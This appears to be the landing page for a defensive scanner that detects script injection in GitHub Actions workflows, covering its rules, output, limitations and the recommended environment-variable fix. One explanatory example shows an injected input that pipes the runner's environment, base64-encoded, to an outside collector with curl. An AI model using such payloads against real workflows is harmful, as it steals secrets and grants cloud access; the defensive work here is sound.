IONSEC
Tooling

Open source · CI/CD detections

gha-injection-detector

An expression inside a run: block is expanded by the workflow engine before the shell parses the line. Whatever it evaluates to becomes script. This finds those sinks — and the dispatch, environment and role chain that turns one of them into a cloud account.

Rules
4
Output
text · JSON · SARIF
Dependencies
none
Network
never opened

Run it in thirty seconds

One Python package, standard library only, no network access. Point it at a workflows directory and read the findings — there is nothing to configure first.

  1. 01 · From a checkout — nothing to install

    cd gha-injection-detector
    python3 -m gha_injection .github/workflows

    Python 3.9 or newer. It takes a file, a workflows directory, or a repository root; directories are searched for every .yml and .yaml.

  2. 02 · Or install the command

    python3 -m venv .venv && . .venv/bin/activate
    python3 -m pip install .
    
    gha-injection-scan .github/workflows

    pipx install . does the same without a virtualenv. Note that pip install -e . needs pip 23 or newer.

  3. 03 · Or use it as a gate

    gha-injection-scan .github/workflows \
      --format sarif > gha-injection.sarif
    echo $?          # 1 = findings at or above --fail-on

    Exit codes: 0 clean · 1 findings at or above --fail-on · 2 invocation problem.

Flags

pathsrequiredFiles, directories or repository roots. Directories are searched recursively for *.yml and *.yaml.
--formattexttext for a human, json for a pipeline, sarif for Code Scanning and other SARIF viewers.
--fail-onhighLowest severity that produces exit code 1. critical for advisory mode, none to never fail.
--excludenoneSkip any path containing this component. Repeatable.

The defect, in six lines

The workflow file is two languages stacked. ${{ ... }} is the engine's template language, resolved when the runner compiles the workflow into a script. run:holds shell source, parsed afterwards. The expansion runs first, as text substitution, with no knowledge of the quoting rules of the language it is writing into.

- name: Apply record change
  run: ./bin/apply-change --record-id "${{ inputs.record_id }}"

Which bash actually receives as:

./bin/apply-change --record-id "$(printenv | base64 -w0 \
  | curl -s -X POST --data-binary @- https://collector)"

Bash sees a command substitution inside double quotes and runs it. The quotes did their job on a string that was already executable. Quoting an expression is not sanitisation — it is decoration.

Four rules

The first three are mechanical. The fourth is the one that required judgement, and it is the reason this is a scanner rather than a grep.

EXPRESSION_IN_RUNhighAny expression expanded inside a run: block or an actions/github-script script:, minus the author-controlled and GitHub-generated allowlist
SECRET_IN_RUNhighA secret in a run: block — materialised in the step environment as plaintext
UNTRUSTED_CONTEXThighgithub.event.*, github.head_ref, github.event_name inside run: — text written by whoever opened the PR
DISPATCH_ENV_CHAINcriticalA trigger nobody reviews (dispatch, schedule, workflow_run) or one an outsider fires (pull_request_target, issue_comment) + a job-level environment: + an injectable finding in the same job

Any one of the three conditions in DISPATCH_ENV_CHAIN is ordinary.Together they are remote code execution with cloud credentials attached, reachable by whoever can dispatch the workflow — or, under pull_request_target, by whoever can open a pull request. That is the shape of the engagement this tool came out of.

What it prints

File, line and column for every sink, plus the job it belongs to. Exit code is machine-usable:1 at or above --fail-on (defaulthigh), 0 clean,2 invocation problem.

$ gha-injection-scan .github/workflows
CRITICAL DISPATCH_ENV_CHAIN   .github/workflows/portal-operations.yml:14:1
HIGH     EXPRESSION_IN_RUN    .github/workflows/portal-operations.yml:21:33

.github/workflows/portal-operations.yml:14  environment: production
    Unattended or outsider-triggered job reaches a protected environment with an injectable script (job: apply)

.github/workflows/portal-operations.yml:21  ${{ inputs.record_id }}
    Expression interpolated into a run block (job: apply)

1 workflow(s) scanned — 2 finding(s): 1 critical, 1 high.

The fix it recommends

Move the value into the environment, then validate it, then use it. This is the pattern GitHub's own hardening guidance calls the intermediate environment variable.

- name: Apply record change
  env:
    RECORD_ID: ${{ inputs.record_id }}
  run: |
    set -euo pipefail
    case "$RECORD_ID" in
      ''|*[!0-9]*) echo "record_id must be numeric" >&2; exit 1 ;;
    esac
    ./bin/apply-change --record-id "$RECORD_ID"

The indirection stops execution. The casestatement stops interpretation — it keeps the value from becoming a path segment or a second argument downstream. The tool checks the first and cannot check the second: argument semantics live in the program being called.

What it cannot do

  • Static only

    A finding proves a sink exists. It never proves reachability. The trigger and role question is answered for exactly one shape, and that shape is DISPATCH_ENV_CHAIN.

  • No cross-file dataflow

    A value arriving through a workflow_call input or a composite action is seen at its last hop only.

  • A deliberate blind spot

    The allowlist accepts matrix.*, env.*, strategy.*, runner.* and job.status as author-controlled, and run metadata GitHub generates (github.sha, github.run_id, steps.*.outcome) as safe. Branch names and logins are not on the list. A tool that fires on ${{ matrix.node }} is a tool that gets switched off in a week.

Wire it into CI

The point of a scanner is to fail the build, not to produce a report nobody opens. Run it before the job is granted any credential it does not need — a scan that runs after the cloud login has already lost the argument.

name: workflow injection
on: [pull_request, push]

jobs:
  scan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: "3.12"
      - run: pipx install gha-injection-detector   # once published
      - run: gha-injection-scan .github/workflows

Add --format sarif and github/codeql-action/upload-sarifto get the findings in the Security tab. The install line is the post-publication form — until the package is on an index, clone the repository and run python3 -m gha_injection from it.

The research behind it

The sink taxonomy, why quoting and post-hoc validation both fail, the OIDC trust half of the chain, and the false-positive policy that decided the allowlist — written up in full in the case study.

Source publication is pending review. The scanner is standard-library Python with no dependencies and no network access; the repository link will appear here once it is published.